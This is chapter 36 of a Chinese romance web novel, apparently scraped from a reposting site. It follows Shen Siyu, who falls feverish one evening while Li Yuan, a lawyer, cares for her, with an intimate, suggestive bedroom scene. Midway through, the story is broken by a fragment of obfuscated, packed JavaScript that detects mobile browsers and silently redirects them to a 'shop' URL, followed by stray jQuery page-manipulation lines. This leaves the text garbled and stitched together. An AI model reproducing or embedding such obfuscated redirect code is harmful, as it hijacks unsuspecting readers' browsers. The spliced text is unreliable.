36. 第 36 章

作品:《瑕不掩瑜[破镜重圆]

    七月下旬正值雷雨季,整个陵州都在过一种如坐深甑的“桑拿天”,白天烈日当空,晚上湿热交蒸,偶尔中午还下几场让人毫无防备的雷阵雨。


    如此循环往复,空气被翻过来覆过去的折腾,像一团怎么也干不了的棉絮,夜色的一切都泡在吸饱水的絮里,连蝉鸣都变得湿绵黏稠。


    在这样的盛夏,这样只有两个人的空间,让人轻易想到电影《夏日乐悠悠》里面的台词,“有人说当真爱出现的时候,整个世界的时间就会暂停下来。”


    沈思瑜想也许真的是这样,所以才会下意识打开手机的摄像模式,想把这一帧永久地保存起来。


    拍摄键按下的瞬间,顶灯倾斜下来的光照在男人白色的衬衣上,映出内里他清晰有力的肩背轮廓,暖色的灯光只来得及漫过他高挺鼻梁,留另二分之一的侧脸隐在阴影里,朦胧得的让人看不真切。


    沈思瑜在相册里一阵捣鼓,最后看着手机屏幕满意极了。


    客厅悬挂的时钟指向九点,时间还早,沈思瑜走到落地窗前拉上窗帘,又把空调的除湿功能打开,顺便把温度调低了两度,做完这一切才重新坐进沙发里。


    她打开电视找起了电影,用遥控器在电视机屏幕上不疾不徐地翻着页。


    倏然开放式的厨房没了动静,顶灯关了,随即整个客厅便陷入一片黑暗里,只有滚动的电视机屏在黑暗里泄出冰蓝色的荧光。


    周身陡然陷入黑暗,沈思瑜把自己更深地埋进沙发里,让自己被包裹起来。


    周遭黑暗的环境,让人的五感不再专注于眼前的电视屏幕。


    黑暗里,拖鞋踩在短绒地毯的沙沙声愈发清晰起来,脚步声在她身后停下,她身上被人盖了一条薄薄的毯子。


    李渊瞥了眼停止滚动的电视机屏,捡起沈思瑜撂在沙发上的遥控器,重新放进她手里。


    男人手上微凉的温度一触即离,沈思瑜身体比脑子快,捉住李渊的衬衫衣角问了个后来自己都觉得傻的问题。


    “洗澡,晚上还要继续赶案子。”男人这么回答她。


    他的手在水龙头下洗过,有点凉,李渊没碰沈思瑜,只捡起她直起身时从肩上滑下去的薄毯子,重新围在她身上。


    李渊站在沙发后面,与她有些距离,电视屏幕漫出的荧光映在脸上让他整个人看起来有些冷淡,连从高处落下的嗓音都淡淡的,擦过她耳廓,很快又消散在冷气中。


    李渊并没有和她一起坐下来看电影的意思。


    沈思瑜愣了一下,反应过来之后松开手指又很快地温声说了句好。


    沈思瑜可能不知道,她的眼睛很亮,尤其是在有所期待的时候,所以相对的她流露出的失落也总是格外明显。


    屏幕里的荧光映进男人瞳孔,沈思瑜看不出那双眼睛里被覆盖住的情绪,李渊站在原地看起来似乎是想对她说什么,但又似乎什么都没想只是在看着她。


    末了,男人只是跟她说看困了就早点上去睡觉。沈思瑜就坐回去,点点头说知道了。


    沈思瑜有些选择困难症,刚刚坐在沙发上聚精会神地挑了很久要和李渊看什么片子,想着他们第一次窝在一起看电影,总归是要郑重一点,好不容易只剩下唯二的选项,但一直到薄毯落到身上时都还没选出个结果。


    现在这时候她的选择困难症像是跑没了影,只随便选了部名字好听的片子,连简介都没看就裹紧了身上的毯子,安静地缩在沙发里看着里面斑驳陆离的画面。


    到底是“桑拿天”,毯子裹了没一会儿,开始变得很热,沈思瑜解开薄毯,索性平躺在沙发上只盖一点肚子。


    流动的光影在整个客厅忽明忽暗,原声带里响起《Unsteady》插曲——


    “Hold,holdon,holdontome,


    抓紧、别放手、紧紧抱住我


    ''CauseI''malittleunsteady,


    因为我有点心神不宁、摇摇欲坠”


    据说这首歌是主唱基于父母离婚的亲身经历创作,歌曲原意是孩子在动荡中寻找依靠,意为凸显情感联结的重要性。


    但正如歌名一样,事物不可能总朝着自己的预期发展,人生的本质是摇晃的、不确定的常态。


    沈思瑜也早就不是那个会因为沈曼音没来家长会就哭鼻子的小女孩了,她早早地明白自己从来不是任何人的首选,所以在今晚这件事上她也一如既往地,接受得格外顺畅。


    沈思瑜闭上眼睛这么想:


    她24,李渊也才27,他们来日方长。


    冗长的电影在屏幕里放映着,挂钟的指针也一分一秒地走着,漫长又难捱。


    静谧的客厅响起片尾曲,沈思瑜醒来之后又坐在沙发上发了好一会儿呆,然后才想起来去看表。


    电影放完,挂钟已经指向了十一点半,李渊的工作应该也已经处理得差不多了,她想睡觉了,也想他了。


    沈思瑜上到二楼,关掉手电筒,望向走廊最里面半掩着的书房门,轻手轻脚地站定在书房门前,抬手敲门。


    还未等她敲第二次,门就从里面被人拉开,冷冽的雪松气息扑面而来,李渊穿着一身纯黑的睡衣,因为洗过澡的缘故,些许碎发垂在额前,显得整个人都特别温和。


    沈思瑜正准备敲第二下的手,此时有些尴尬地悬停在空中,她放下手腕,跟另一只手交叠在身前,不自觉地捏膝上的裙摆。


    “李渊,我想睡觉了。”


    李渊身上没有在楼下的冷淡,沈思瑜也就像之前那样习惯性地向他撒娇。


    但其实他们今晚的氛围有些不同寻常,她没有照他说的那样去换掉身上这件睡裙,李渊也没有要和她一起看电影。


    他们之间像扯平了,又像没有。


    沈思瑜只匆匆看李渊一眼,随即避他如洪水猛兽般垂下眼睑。


    沈思瑜这一系列别扭反应,落在李渊眼里,像熬不住了似的来喊他睡觉,却又像还在因为他没有陪她看电影而不高兴。


    她看了两个多小时的电影,连眼皮都有些红了。


    加急的案子赶完,他又多看了两个案子,沈思瑜才从一楼上来。


    李渊嗯了一声,随即带上书房的门,自然地牵起她的一只手腕,将只顾盯着地面的沈思瑜牵进卧室。


    沈思瑜亦步亦趋地被李渊牵着走,轻易地将楼下的那点失落抛之脑后。


    被李渊牵着坐在床沿,随后李渊略过她,拿起她那侧床头柜上空了的玻璃杯对她说他去倒杯水。


    沈思瑜点点头,等人出去后,重新进入浴室用冷水洗了把脸,等水流冲走最后一点泡沫时,沈思瑜也对着镜子理好了在沙发上蹭得有些蓬乱的头发。


    卧室里开了一盏台灯,暖黄色的,李渊靠在床上,手上拿了一本与法律有关的专业书。


    沈思瑜走到床边,掀开被角,害羞地垂着眼,然后轻手轻脚地躬身上床。


    沈思瑜的动作很轻,像不想打扰他般刻意放缓,她的膝盖跪上来时,床的另一边凹出了很浅的弧度。


    李渊眼皮轻抬,看着沈思瑜包裹在睡裙里却依旧勾勒分明的曲线,直至她钻进被子里,才合上手里久久未翻页的书本,按下台灯开关。


    沈思瑜听到李渊关灯的动静,才拉下被子,从里面探出头来。


    卧室里的窗帘被人拉得严严实实,整个房间里只看得见伸手不见五指的漆黑,没有了酒精的作用,沈思瑜也不再像第一次与李渊同床共枕那样大胆。


    她躺在被子里,整个人像一只闷熟的虾子,全身都烧得发烫。


    身后窸窣动静传来,随即男人身上冷冽的雪松气息从背后压了上来,他身上的睡衣布料滑滑的,凉凉的,贴在她后背上,让她发热的身体觉得舒服起来。


    李渊长臂一揽,精准地捞过一旁的沈思瑜,他的手掌如第一晚那样隔着布料环在她腰间。


    “热?”


    隔着一层睡裙布料,李渊掌心下的温度却异常灼热。


    沈思瑜开口,声音却有些闷,又有些哑:“好像是有一点。”


    沈思瑜后背皮肤上的冰凉触感陡然撤离,随即额头覆上了一双温热,她晕乎乎地想,她的体温让李渊的手都变热了。


    李渊感受着手心处她额头上异常高热的温度,皱了皱眉。


    “沈思瑜,你在发烧。”


    “没有……发烧……我只是有一点热,只有一点热……”


    李渊没理会沈思瑜口中含糊不清的辩驳,他覆上她有些发红的眼皮,打开床头柜上暖黄的台灯,等沈思瑜适应光亮后才挪开手掌从床上起身。


    身旁唯一的舒适源离开,沈思瑜久久感受不到凉意的耐心见了底。


    哪哪都是热的,被子好热,睡裙很闷,勒得胸口喘不过气来,沈思瑜难受地眨着起雾的眼睛,自顾自地扯胸前的领口。


    李渊艰涩地从沈思瑜身前移开视线,然后扯过一旁被她掀开的被子,重新盖在她身上。


    沈思瑜不满地推开李渊盖上来的薄被,反而拉着他的手往自己身前带:“帮帮我…解不开。”


    “你知道你在做什么吗?”


    如果沈思瑜的意识清醒,此时她一定能看懂李渊望向她的眼里,压不住的,攀上来的滔天欲望。


    沈思瑜睁着眼睛,简单思考着男人的话:“知……道。”


    她一定不知道。


    他也一定是疯了,听一个意识混沌的人胡言乱语。


    李渊的手被沈思瑜两只手拉着,抽不出来也没想抽出来,他将沈思瑜从被子里拎起抱坐在腿上,一只手揽着沈思瑜,另一只手在手机上下单退烧药。


    沈思瑜却像终于找到让她舒服的东西,整个人都贴在了他身上,她环住他的脖颈呢喃:“这里好舒服……”


    “但是衣服…还很难受……”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295588|192755||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她贴在李渊颈边,言语间带出的灼热气息都喷在了他跳动的动脉上,李渊被迫完整地听完她在耳边断断续续的呢喃,在听完她最后一句话后,他真的被气笑了。


    他真的很想知道沈思瑜的脑子里都在想什么,像她这样不顾自己感受的人,让她不舒服的东西都不肯脱下来,睡裙是,高跟鞋也是。


    此时她发着热,倒比某些时候坦率得多。


    沈思瑜在李渊身上胡乱地蹭,在蹭到某处凸起的地方后,男人呼吸重了几分,紧接着她的臀尖便结结实实挨了一掌。


    清脆的掌音在卧室回荡,臀上麻麻的,浑身难受还被扇了一下,沈思瑜心里委屈得紧,眼眶里噙着的眼泪就这么落了下来。


    沈思瑜水涔涔的眼睛望向他,像是在无声控诉他的罪行。


    每到这种时候,她的表情都特别无辜纯净,惹人怜爱,就连现在那双眼睛也好像在说“李渊,你知不知道我正在发烧呀。”


    李渊叹了口气,指腹捻过她湿润的眼尾,有意安抚:“别乱动,等会吃完药就不难受了。”


    说完李渊又哄人几句,沈思瑜被李渊哄着安静地坐在床沿。


    兴许是平时忙于工作的李渊太过冷淡,沈思瑜对他此时表露出来的温柔格外贪恋,对他此时的话也格外听从。


    她睁着眼睛坐在床边,安静地看着衣帽间里男人的身影。


    不到半分钟,男人折返时手上多了一件宽大的白色短袖。


    她被李渊重新抱坐在腿上,有了上一次的教训,沈思瑜不敢乱动,任由李渊将手里的短袖套在她身上。


    她看着身上又多出来的一件衣服,有些委屈地垂着眼睛:“好热。”


    娇气。


    用短袖将沈思瑜裹得严严实实后,李渊深吸了一口气,然后拨开她身上的短袖下摆,将手指从两件衣服之间探了进去。


    沈思瑜身上的睡裙是后背式的拉链设计,从肩胛骨下面一直延伸到后腰。


    李渊的指腹生疏地在沈思瑜后腰拉链处摸索着,偶尔地,指腹触到她发热的皮肤上,沈思瑜便在他身上抖,连呼吸都变得急促。


    身后拉链被人拉下的咔咔声从脊骨传导进入沈思瑜的耳朵,她颤抖着将泛红的脸埋得更深。


    李渊垂眸扫了一眼她紧闭的眼睛,有些好笑。


    嗯,这个时候知道害羞了。


    看来并不是意识全无。


    他戏谑心起,偏偏留下最后一截,不肯拉到底:“难受为什么不换睡裙?”


    他像一个趁人之危的伪君子,要意识不清却坦诚的她给出一个答案。


    沈思瑜眼神迷惘着,过载的大脑缓慢地思考,良久才断断续续地答话:“因为你……喜欢啊,你看了我好久。”


    李渊:“?”


    “我不怕你做什么……”


    李渊:“……”


    沈思瑜剩下的嘟囔再也听不清了,因为他的心跳声早已盖过了她在他怀里的小声呢喃。


    “沈思瑜。”


    他叫她的名字,却又停顿良久。


    最终只故作轻松地失笑:“我怎么不知道我喜欢?嗯?”


    亲耳听到她的答案,李渊也信守承诺般没再折腾她。


    拉链最后一节被他顺畅拉下,沈思瑜身上的束缚逐渐变得松垮,直至再也感受不到,她也像终于能顺畅呼吸一样,安稳又放松地靠在他身上。


    卧室里的灯光暖黄,渡在两人身上,最后那个问题回应他的只有她平缓又绵长的呼吸。


    手上脱下来的睡裙还带着沈思瑜的体温,李渊修长的手指不禁曲起来,光滑柔软的面料却不受控制,从指缝间钻出,攀缠上他每一根手指。


    他的喜欢与否有那么重要吗?


    他不知道。


    这是没有过的事,从来没有人关心过的事。


    他也一度认为自己没有也并不需要这种情绪,直到沈思瑜出现在他的生活里。


    她开始轻易牵动他的思绪,逐渐占据他的心脏,总是犯规地往他心底深处钻去,她看他看过的书,她关注着他没人在意的方方面面,她小心翼翼地试探着想了解他。


    向他表达喜欢的人有很多,却从来没有一个人在意过他喜欢什么。只有沈思瑜。


    只因为觉得他喜欢,只因为怕他误会,沈思瑜就宁肯穿着让自己难受的睡裙也不肯换下来;只因为他没有抱着她睡觉,她的眼泪便像断了线的珠子般落下来;只因为他说他们到此为止,她便哭得喘不过气。


    沈思瑜总给他一种,他很重要的错觉。


    怀里的人睡的很沉,李渊只克制地轻轻碰了碰她的唇角。


    沈思瑜这一觉睡得并不安稳,梦里有什么东西撬开她的贝齿,紧接着温热的液体便渡了进来,先是苦苦的,然后是甜甜的,跟李渊做的红糖姜茶一个味道。


    她意犹未尽地吞咽着,索取着,直至再也吮吸不出一丝甜味。